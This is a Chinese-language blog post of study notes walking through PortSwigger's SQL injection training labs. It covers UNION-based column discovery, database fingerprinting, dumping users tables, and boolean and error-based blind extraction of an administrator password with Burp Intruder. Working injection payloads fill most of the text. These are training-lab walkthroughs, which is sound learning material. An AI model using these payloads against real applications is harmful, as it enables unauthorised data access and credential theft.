PortSwigger之SQL注入实验室笔记

  • A+
所属分类:安全文章

声明

本文仅供学习参考,其中涉及的一切资源均来源于网络,请勿用于任何非法行为,否则您将自行承担相应后果,我不承担任何法律及连带责任。

实验页面下面都有视频教程,很细 建议观看学习。笔记主要为记录过程,有错误的地方欢迎师傅们指正~

SQL注入

01 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。这种攻击的第一步是确定查询返回的列数。然后,您将在后续实验中使用此技术来构建完整的攻击。

要解决该实验,请通过执行SQL 注入 UNION攻击来确定查询返回的列数,该攻击会返回包含空值的附加行。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 修改category参数,赋予它值'+UNION+SELECT+NULL--。观察是否发生错误。
  3. 修改category参数以添加包含空值的附加列:'+UNION+SELECT+NULL,NULL--
  4. 继续添加空值,直到错误消失并且响应包括包含空值的附加内容。

'+ORDER+BY+3--

PortSwigger之SQL注入实验室笔记
image-20210731163649292

'+UNION+SELECT+NULL,NULL,NULL--

PortSwigger之SQL注入实验室笔记
image-20210731163552066

02 SQL 注入 UNION 攻击,查找包含文本的列

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,首先需要确定查询返回的列数。您可以使用在之前的实验室中学到的技术来完成此操作。下一步是确定与字符串数据兼容的列。

实验室将提供您需要在查询结果中显示的随机值。为了解决实验室问题,请执行SQL 注入 UNION攻击,该攻击会返回包含所提供值的附加行。此技术可帮助您确定哪些列与字符串数据兼容。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数。使用category参数中的以下有效负载验证查询是否返回三列:'+UNION+SELECT+NULL,NULL,NULL--
  3. 尝试用实验室提供的随机值替换每个空值,例如:'+UNION+SELECT+'abcdef',NULL,NULL--
  4. 如果发生错误,请移至下一个空值并改为尝试。

任务:使数据库检索字符串:'X8VH6Z'

PortSwigger之SQL注入实验室笔记
image-20210731164553952

'+UNION+SELECT+NULL,NULL,'X8VH6Z'--

PortSwigger之SQL注入实验室笔记
image-20210731165006938

03 SQL注入UNION攻击,从其他表中检索数据

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。要构建这样的攻击,您需要结合您在之前实验室中学到的一些技术。

数据库包含一个名为 的不同表users,其列名为usernamepassword

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询返回两列,它们都包含文字,使用像在类别参数以下的有效载荷:'+UNION+SELECT+'abc','def'--
  3. 使用以下有效负载检索users表的内容:'+UNION+SELECT+username,+password+FROM+users--
  4. 验证应用程序的响应是否包含用户名和密码。

使用'+UNION+SELECT+username,password+FROM+users--获取用户名密码表,得到administrator/a2t6t7m3ybo5f7cz7fja

PortSwigger之SQL注入实验室笔记
image-20210731165512802

使用得到的用户名密码登录

PortSwigger之SQL注入实验室笔记
image-20210731165741362

04 SQL 注入 UNION 攻击,在单列中检索多个值

描述

该实验室在产品类别过滤器中包含一个 SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

数据库包含一个名为 的不同表users,其列名为usernamepassword

为解决实验室问题,执行SQL 注入 UNION攻击,检索所有用户名和密码,并使用该信息以administrator用户身份登录。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,其中只有一列包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+NULL,'abc'--
  3. 使用以下有效负载检索users表的内容:'+UNION+SELECT+NULL,username||'~'||password+FROM+users--
  4. 验证应用程序的响应是否包含用户名和密码。

'+order+by+2--判断列数为2

PortSwigger之SQL注入实验室笔记
image-20210731171105351

'+union+select+null,'aaa'--判断回显字段是第二个

PortSwigger之SQL注入实验室笔记
image-20210731171130566

'+union+select+null,username+||+'~'+||+password+FROM+users--读取密码

PortSwigger之SQL注入实验室笔记
image-20210731171242222

登录administrator~l32y00qu4gkslzqy9d0g

PortSwigger之SQL注入实验室笔记
image-20210731171430777

05 SQL注入攻击,在Oracle上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'+FROM+dual--
  3. 使用以下有效负载显示数据库版本:'+UNION+SELECT+BANNER,+NULL+FROM+v$version--

'+ORDER+BY+2--判断列数为2

PortSwigger之SQL注入实验室笔记
image-20210731171919099

union sql注入攻击中要做的第二件事是确定列的数据类型。我们使用union空查询来做到这一点,我们已经知道有两个列,我们要做的是将int值或字符串测试每一列

' UNION SELECT 'aa', NULL--

如果该列的数据类型不兼容对于使用过滤类别的列的数据类型,它应该抛出一个错误,告诉我们该列不是字符串类型。如果我们没有收到错误,这意味着该列现在是字符串类型。

在此实验环境中,我们可以看到两列都包含字母,所以他们都是字符串类型(还是要进一步测试确认)。

PortSwigger之SQL注入实验室笔记
image-20210801004438926

测试' UNION SELECT 'aa', 'aa'--

报错Internal Server Error

PortSwigger之SQL注入实验室笔记
image-20210801004727399

可以确定我们的操作是没有问题的,我们搜索一下oracle的select语句用法oracle select statement

Oracle select语句解释https://www.oracletutorial.com/oracle-basics/oracle-select/

oracle双表解释https://www.oracletutorial.com/oracle-basics/oracle-dual-table/

在 Oracle 中,SELECT语句必须有一个FROM子句。但是,某些查询不需要任何表

Oracle 为您提供了DUAL的一个特殊的表,它属于SYS用户的模式,但所有用户都可以访问。

所以我们为union select后加上from DUAL子句

' UNION SELECT 'aa', 'aa' FROM DUAL--

显示成功

PortSwigger之SQL注入实验室笔记
image-20210801005142291

参阅我们的SQL 注入备忘单来找到Oracle数据库查询数据库版本的语句

SELECT banner FROM v$version
SELECT version FROM v$instance

所以我们的payload是

' UNION SELECT banner, 'aa' FROM v$instance--

PortSwigger之SQL注入实验室笔记
image-20210801005711456

刷新页面会显示恭喜解决

PortSwigger之SQL注入实验室笔记
image-20210801005934960

06 SQL注入攻击,在MySQL和微软上查询数据库类型和版本

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。您可以使用 UNION 攻击从注入的查询中检索结果。

要解决实验室问题,请显示数据库版本字符串。

解决方案

  1. Use Burp Suite to intercept and modify the request that sets the product category filter.
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'#
  3. 使用以下有效负载显示数据库版本:'[email protected]@version,+NULL#

同样的思路,先确定列数,通过网页显示内容可以猜测是2列

' ORDER BY 2--查询报错

PortSwigger之SQL注入实验室笔记
image-20210801011242670

我们的语法没有问题,这个服务器错误可能是对我们的某个符号进行了过滤,现在我们把--注释符修改为#进行测试,成功

' ORDER BY 2#查询成功

PortSwigger之SQL注入实验室笔记
image-20210801011412205

' UNION SELECT 'AAA', 'BBB'#查询

PortSwigger之SQL注入实验室笔记
image-20210801011553835

现在我们需要使用SQL注入语句查询数据库版本,查阅我们的SQL 注入备忘单,找到一些有用的有效负载

SELECT @@version

' UNION SELECT @@version, 'BBB'#

PortSwigger之SQL注入实验室笔记
image-20210801011807924

成功解决

PortSwigger之SQL注入实验室笔记
image-20210801011853470

07 SQL注入攻击,列出非Oracle数据库上的数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

  1. 使用 Burp Suite 拦截和修改设置产品类别过滤器的请求。
  2. 确定查询返回的列数以及哪些列包含文本数据。验证查询是否返回两列,这两列都包含文本,在category参数中使用如下所示的有效负载:'+UNION+SELECT+'abc','def'--
  3. 使用以下有效负载检索数据库中的表列表:'+UNION+SELECT+table_name,+NULL+FROM+information_schema.tables--
  4. 查找包含用户凭据的表的名称。
  5. 使用以下有效负载(替换表名)来检索表中列的详细信息:'+UNION+SELECT+column_name,+NULL+FROM+information_schema.columns+WHERE+table_name='users_abcdef'--
  6. 查找包含用户名和密码的列的名称。
  7. 使用以下有效负载(替换表名和列名)检索所有用户的用户名和密码:'+UNION+SELECT+username_abcdef,+password_abcdef+FROM+users_abcdef--
  8. 找到administrator用户的密码,并使用它登录。

1 确定列数

' ORDER BY 2--响应200

PortSwigger之SQL注入实验室笔记
image-20210801012224894

2 确定每列的字段数据类型

' UNION SELECT 'AA', 'CC'--

PortSwigger之SQL注入实验室笔记
image-20210801012347821

3 查询数据库类型

在我们的SQL 注入备忘单上找到一些有用的有效负载用来判断数据库类型

您可以查询数据库以确定其类型和版本。在制定更复杂的攻击时,此信息很有用。

甲骨文 SELECT banner FROM v$versionSELECT version FROM v$instance
微软 SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

' UNION SELECT banner, 'CC' FROM v$version--错误,说明不是Oracle

' UNION SELECT @@version, 'CC'--错误,说明不是MySQL和mssql

' UNION SELECT version(), 'CC'--成功,说明是PostgreSQL

PortSwigger之SQL注入实验室笔记
image-20210801012655480

4 检索数据库中的表列表

在我们的SQL 注入备忘单上找到一些有用的有效负载

PostgreSQL SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'


Google搜索information_schema.tables PostgreSQL找到我们需要的列名

https://www.postgresql.org/docs/9.1/information-schema.html

选择columns查看所有的表目录、表架构、表名、列名等

PortSwigger之SQL注入实验室笔记
image-20210801015648239
PortSwigger之SQL注入实验室笔记
image-20210801015912597

我们需要的是表名,table_name

检索数据库中的表列表

' UNION SELECT table_name, 'CC' FROM information_schema.tables--查询数据库表名

PortSwigger之SQL注入实验室笔记
image-20210801020239433

5 查找包含用户凭据的表的名称

我们找到users_随机字符的表users_nvjpgq,假设这是我们所需要的存放用户名密码的表

6 检索表中列的详细信息

现在我们需要输出表的列名

在我们的SQL 注入备忘单上找到一些有用的有效负载

SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

SELECT * FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

使用Google搜索我们需要的列名字段information_schema.columns PostgreSQL,得到column_name

https://www.postgresql.org/docs/9.5/infoschema-columns.html

PortSwigger之SQL注入实验室笔记
image-20210801020841687

检索表中列的详细信息

' UNION SELECT column_name, null FROM information_schema.columns WHERE table_name = 'users_nvjpgq'

7 查找包含用户名和密码的列的名称

很明显,我们需要的列名应该是username_viaxls和password_senvzp

PortSwigger之SQL注入实验室笔记
image-20210801021056575

8 检索所有用户的用户名和密码

' UNION SELECT username_viaxls,password_senvzp FROM users_nvjpgq--查找用户名密码字段值

PortSwigger之SQL注入实验室笔记
image-20210801021505496

9 找到administrator用户的密码,并使用它登录

administrator/hiny5a8q5m62aqhoyze9

PortSwigger之SQL注入实验室笔记
image-20210801022127961

08 SQL注入攻击,在Oracle上列出数据库内容

描述

该实验室在产品类别过滤器中包含一个SQL 注入漏洞。查询的结果在应用程序的响应中返回,因此您可以使用 UNION 攻击从其他表中检索数据。

该应用程序具有登录功能,数据库包含一个保存用户名和密码的表。您需要确定该表的名称及其包含的列,然后检索该表的内容以获取所有用户的用户名和密码。

要解决实验室,请以administrator用户身份登录。

解决方案

和上一个实验类似,也是找数据库中的用户名密码,步骤是一样的。

1 确定列数2

' ORDER BY 2--

PortSwigger之SQL注入实验室笔记
image-20210801022946506

2 确定每列的字段数据类型-字符型

' UNION SELECT 'AA','CC' FROM DUAL--

PortSwigger之SQL注入实验室笔记
image-20210801023111143

3 查询数据库类型

' UNION SELECT banner,'CC' FROM v$version--

PortSwigger之SQL注入实验室笔记
image-20210801023233073

4 检索数据库中的表列表

查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tables

Google搜索all_tables oracle,找到TABLE_NAME

https://docs.oracle.com/cd/B19306_01/server.102/b14237/statviews_2105.htm#REFRN20286

PortSwigger之SQL注入实验室笔记
image-20210801023526544

检索数据库中的表列表

' UNION SELECT TABLE_NAME, NULL FROM all_tables--

PortSwigger之SQL注入实验室笔记
image-20210801024902377

5 查找包含用户凭据的表的名称

USERS_SOMDZN

6 检索表中列的详细信息

查找我们的SQL 注入备忘单,找到查询列出数据库中存在的表以及这些表包含的列语句

SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'

Google搜索all_tab_columns,找到COLUMN_NAME

PortSwigger之SQL注入实验室笔记
image-20210801025138919

检索表中列的详细信息

' UNION SELECT COLUMN_NAME, NULL FROM all_tab_columns WHERE table_name = 'USERS_SOMDZN'--

PortSwigger之SQL注入实验室笔记
image-20210801025301767

7 查找包含用户名和密码的列的名称

USERNAME_ETJAFO和PASSWORD_RRYQDL

8 检索所有用户的用户名和密码

' UNION SELECT USERNAME_ETJAFO, PASSWORD_RRYQDL FROM USERS_SOMDZN--

PortSwigger之SQL注入实验室笔记
image-20210801025451647

9 找到administrator用户的密码,并使用它登录

administrator/7710s0z9vh37a81c1n23

PortSwigger之SQL注入实验室笔记
image-20210801025754289

09 实验室带有条件响应的盲 SQL 注入没有解决

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

不返回 SQL 查询的结果,也不显示任何错误消息。但是,如果查询返回任何行,应用程序会在页面中包含“欢迎回来”消息。

数据库包含一个名为 的不同表users,其列名为usernamepassword。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

进入实验室

解决方案

  1. 访问店铺首页,使用Burp Suite拦截修改包含TrackingIdcookie的请求。为简单起见,假设 cookie 的原始值为TrackingId=xyz
  2. 修改TrackingIdcookie,将其更改为:TrackingId=xyz' AND '1'='1。验证响应中是否显示“欢迎回来”消息。
  3. 现在将其更改为:TrackingId=xyz' AND '1'='2。验证“欢迎回来”消息没有出现在响应中。这演示了如何测试单个布尔条件并推断结果。
  4. 现在将其更改为:TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a。验证条件是否为真,确认有一个名为 的表users
  5. 现在将其更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a。验证条件是否为真,确认存在名为 的用户administrator
  6. 下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a。此条件应为真,确认密码长度大于 1 个字符。
  7. 发送一系列后续值来测试不同的密码长度。发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>2)='a。然后发送:TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>3)='a。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长。
  8. 确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。
  9. 在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。
  10. 在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a。这使用该SUBSTRING()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。
  11. a在 cookie 值中 的最后一个字符周围放置负载位置标记。为此,只需选择a,然后单击“添加 §”按钮。然后,您应该看到以下 cookie 值(注意负载位置标记):TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='§a§
  12. 要在每个位置测试字符,您需要在您定义的负载位置发送合适的负载。您可以假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.
  13. 为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。
  14. 通过单击“开始攻击”按钮或从入侵者菜单中选择“开始攻击”来发起攻击。
  15. 查看攻击结果,找出第一个位置的字符值。您应该会在结果中看到一个名为“欢迎回来”的列。其中一行应在此列中打勾。该行显示的有效负载是第一个位置的字符值。
  16. 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。为此,请返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:TrackingId=xyz' AND (SELECT SUBSTRING(password,2,1) FROM users WHERE username='administrator')='a
  17. 启动修改后的攻击,查看结果,并注意第二个偏移处的字符。
  18. 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码。
  19. 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

在题目的描述中得知数据库对cookie 值进行 SQL 查询,当sql语句执行成功时,会显示Welcome back!欢迎回来

1 确认参数易受盲注SQL注入的影响

在测试基于盲注的SQL注入时要做的第一件事是找到一个真实用例,强制一个正确用例看应用程序如何响应,然后强制一个虚假用例并查看应用程序如何响应。如果应用程序根据真实用例和虚假用例做出不同响应,那么我们就可以使用基于盲注的SQL注入来推断数据库中的内容。所以我们要做的第一件事是确认参数易受盲注SQL注入的影响,在实验中的参数变量是TrackingId

设想我们的查询方式如下:

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed'

判断条件如下:

-->如果查询的TrackingId 值存在,则查询会返回一个值,然后我们会收到一条welcome back消息

-->但是如果查询的TrackingId 值不存在,则查询不返回所有,然后我们没有收到welcome back消息

PortSwigger之SQL注入实验室笔记
image-20210801113630688

在执行错误的时候不会显示

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed''

多一个单引号引发错误

PortSwigger之SQL注入实验室笔记
image-20210801113830531

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='1'

-->where子句的结果将会永远评估为真,将导致显示welcome back

' and '1'='1返回welcome back,说明SQL语句拼接成功执行

PortSwigger之SQL注入实验室笔记
image-20210801152128666

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and '1'='2'

-->where子句的结果将会永远评估为假,导致整个查询返回为假,将导致不会显示welcome back

' and '1'='2不会返回welcome back,说明SQL语句拼接成功执行

PortSwigger之SQL注入实验室笔记
image-20210801152205866

2 确认用户表users存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (select 'x' from users LIMIT 1)='x'--'

-->如果为真,返回welcome back,说明users表存在

--》否则,users表不存在

' and (select 'x' from users LIMIT 1)='x'--,返回了welcome back,说明users表存在

PortSwigger之SQL注入实验室笔记
image-20210801152912341

3 确定用户名administrator字段值存在

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,说明administrator的用户名存在

--》否则,administrator的用户名不存在

' and (SELECT 'a' FROM users WHERE username='administrator')='a'--,返回了welcome back,说明存在名为administrator的用户名存在

PortSwigger之SQL注入实验室笔记
image-20210801153549743

4 确定administrator用户的密码中有多少个字符(长度)

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>1)='a'--,返回了welcome back,确认密码长度大于 1 个字符

PortSwigger之SQL注入实验室笔记
image-20210801154024172

发送一系列后续值来测试不同的密码长度。

发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>10)='a'--,返回了welcome back,确认密码长度大于 1 0个字符。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>20)='a'--,没有返回welcome back,确认密码长度在 1 0-20个字符之间。

PortSwigger之SQL注入实验室笔记
image-20210801154300848

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>15)='a'--,返回welcome back,确认密码长度在 15-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>18)='a'--,返回welcome back,确认密码长度在 19-20个字符之间。

然后发送:

' and (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)>19)='a'--,返回welcome back,确认密码长度20个字符。

可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当“欢迎回来”消息消失时),您就确定了密码的长度,实际上是 20 个字符长,如果长度很长,可以使用Intruder功能进行遍历。

5 测试每个位置的字符以确定其值。


SUBSTRING(password,m,n)函数解释

password是字段名,m是检索的起始位,最左边从1开始,n是数量。

如果password='sjhfgjhsdf',那么SUBSTRING(password,1,1)就是's',SUBSTRING(password,2,1)就是'j'


这涉及大量请求,因此需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

单个字符检测思路如下

测试密码第一位是否是字符a

select tracking-id from tracking-table where TrackingId = 'qo8DsvAJFFnVcMed' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--'

-->如果为真,返回welcome back,确认密码长度大于 1 个字符。

--》否则,确认密码长度0个字符

' and (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a'--,没有返回welcome back,确认密码第一个字符不是a

在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。

PortSwigger之SQL注入实验室笔记
image-20210801155127701

对a值添加标记

PortSwigger之SQL注入实验室笔记
image-20210801155237390

假设密码仅包含小写字母数字字符。转到 Payloads 选项卡,检查是否选择了“Simple list”,然后在“Payload Options”下添加 a - z 和 0 - 9 和A-Z范围内的有效负载。您可以使用“从列表添加”下拉菜单轻松选择这些.

PortSwigger之SQL注入实验室笔记
image-20210801155735950

点击开始攻击

PortSwigger之SQL注入实验室笔记
image-20210801155904456

为了能够判断何时提交了正确的字符,您需要为“欢迎回来”表达的每个响应进行 grep。为此,请转到“选项”选项卡和“Grep - 匹配”部分。清除列表中的所有现有条目,然后添加值“欢迎回来”。

PortSwigger之SQL注入实验室笔记
image-20210801160001853

得到第一个字符是1

PortSwigger之SQL注入实验室笔记
image-20210801160038969

6 现在,您只需对密码中的每个其他字符位置重新运行攻击,以确定它们的值。

为此,返回 Burp 主窗口和 Burp Intruder 的 Positions 选项卡,并将指定的偏移量从 1 更改为 2。然后您应该会看到以下 cookie 值:'+and+(SELECT+SUBSTRING(password,2,1)+FROM+users+WHERE+username%3d'administrator')%3d'a'--

得到第二位字符是m

PortSwigger之SQL注入实验室笔记
image-20210801160535637

7 继续此过程测试偏移量 3、4 等,直到您拥有完整的密码

OR super 7 使用burpsuite的Cluster bomb爆破

将决定取字符位置的数据添加变量

PortSwigger之SQL注入实验室笔记
image-20210801161117845

攻击类型选择Cluster bomb

PortSwigger之SQL注入实验室笔记
image-20210801161151950

选择payloads,payload1设置为1-20

PortSwigger之SQL注入实验室笔记
image-20210801161233802

payload2设置为0-9和a-z和A-Z

PortSwigger之SQL注入实验室笔记
image-20210801161321982

然后options中添加Grep-Match

PortSwigger之SQL注入实验室笔记
image-20210801161401912

开始攻击

PortSwigger之SQL注入实验室笔记
image-20210801161459163

将结果整理得到密码

1mwa6880vdcepua8566j

8 在您的浏览器中,单击“我的帐户”以打开登录页面。使用密码作为administrator用户登录。

PortSwigger之SQL注入实验室笔记
image-20210801161653485

10 带有条件错误的盲 SQL 注入

描述

本实验包含一个SQL 盲注漏洞。应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

SQL 查询的结果不会返回,并且应用程序不会根据查询是否返回任何行而做出任何不同的响应。如果 SQL 查询导致错误,则应用程序返回自定义错误消息。

数据库包含一个名为 的不同表users,其列名为usernamepassword。您需要利用SQL盲注漏洞找出administrator用户的密码。

要解决实验室,请以administrator用户身份登录。

解决方案

1.访问店铺首页,使用Burp Suite拦截修改包含TrackingId的cookie请求。

PortSwigger之SQL注入实验室笔记
image-20210801223206824

2.修改TrackingId,为其附加一个单引号:TrackingId=bhpYlLKIavhTKuTR'. 验证收到错误消息。

PortSwigger之SQL注入实验室笔记
image-20210801223258153

3.现在将其更改为两个引号:TrackingId=bhpYlLKIavhTKuTR''. 验证错误消失。这表明语法错误(在本例中为未关闭的引号)对响应具有可检测的影响。

PortSwigger之SQL注入实验室笔记
image-20210801223457901

4.您现在需要确认服务器将注入解释为 SQL 查询,即错误是 SQL 语法错误而不是任何其他类型的错误。为此,您首先需要使用有效的 SQL 语法构造一个子查询。尝试提交:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'. 在这种情况下,请注意查询仍然无效。这可能是由于数据库类型 - 尝试在查询中指定一个可预测的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'。由于您不再收到错误消息,这表明目标可能正在使用 Oracle 数据库,这需要所有SELECT语句显式指定表名

TrackingId=bhpYlLKIavhTKuTR'||(SELECT+'')||'

PortSwigger之SQL注入实验室笔记
image-20210801223656385

TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+dual)||'

PortSwigger之SQL注入实验室笔记
image-20210801223837044

5.既然您已经制作了看似有效的查询,请尝试提交无效查询,同时仍保留有效的 SQL 语法。例如,尝试查询一个不存在的表名:TrackingId=bhpYlLKIavhTKuTR'||(SELECT+''+FROM+ch4nge)||'。这一次,返回一个错误。这种行为强烈表明您的注入正在被后端作为 SQL 查询处理。

PortSwigger之SQL注入实验室笔记
image-20210801223922336

6.只要确保始终注入语法上有效的 SQL 查询,就可以使用此错误响应来推断有关数据库的关键信息。例如,为了验证该users表是否存在,请发送以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT '' FROM users WHERE ROWNUM = 1)||'. 由于此查询未返回错误,因此您可以推断此表确实存在。请注意,WHERE ROWNUM = 1这里的条件很重要,以防止查询返回多于一行,这会破坏我们的串联。

PortSwigger之SQL注入实验室笔记
image-20210801224142781

7.您还可以利用此行为来测试条件。首先,提交以下查询:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'. 验证收到错误消息

PortSwigger之SQL注入实验室笔记
image-20210801224509518

8.现在将其更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'。验证错误是否消失。这表明您可以根据特定条件的真实性有条件地触发错误。该CASE语句测试一个条件,如果条件为真,则计算为一个表达式,如果条件为假,则计算为另一个表达式。前一个表达式包含被零除,这会导致错误。在这种情况下,两个有效负载测试条件1=11=2,当条件为true时接收到错误。

PortSwigger之SQL注入实验室笔记
a

9.您可以使用此行为来测试表中是否存在特定条目。例如,使用以下查询来检查用户名是否administrator存在:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。验证条件是否为真(接收到错误),确认存在名为 的用户administrator

PortSwigger之SQL注入实验室笔记
image-20210801224930055

10.下一步是确定administrator用户的密码中有多少个字符。为此,请将值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>1 THEN to_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'。此条件应为真,确认密码长度大于 1 个字符。

PortSwigger之SQL注入实验室笔记
image-20210801225039704

11.发送一系列后续值来测试不同的密码长度。发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>2 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。然后发送:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN LENGTH(password)>3 THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。等等。您可以使用Burp Repeater手动执行此操作,因为长度可能很短。当条件不再为真时(即当错误消失时),您就确定了密码的长度,实际上是 20 个字符长。

PortSwigger之SQL注入实验室笔记
image-20210801225121651

12.确定密码长度后,下一步是测试每个位置的字符以确定其值。这涉及大量请求,因此您需要使用Burp Intruder。使用上下文菜单将您正在处理的请求发送到 Burp Intruder。

13.在 Burp Intruder 的 Positions 选项卡中,通过单击“Clear §”按钮清除默认的有效载荷位置。

14.在 Positions 选项卡中,将 cookie 的值更改为:TrackingId=bhpYlLKIavhTKuTR'||(SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'。这使用该SUBSTR()函数从密码中提取单个字符,并针对特定值对其进行测试。我们的攻击将在每个位置和可能的值之间循环,依次测试每个位置。

PortSwigger之SQL注入实验室笔记
image-20210801225222938

15.使用Cluster bomb模式进行爆破

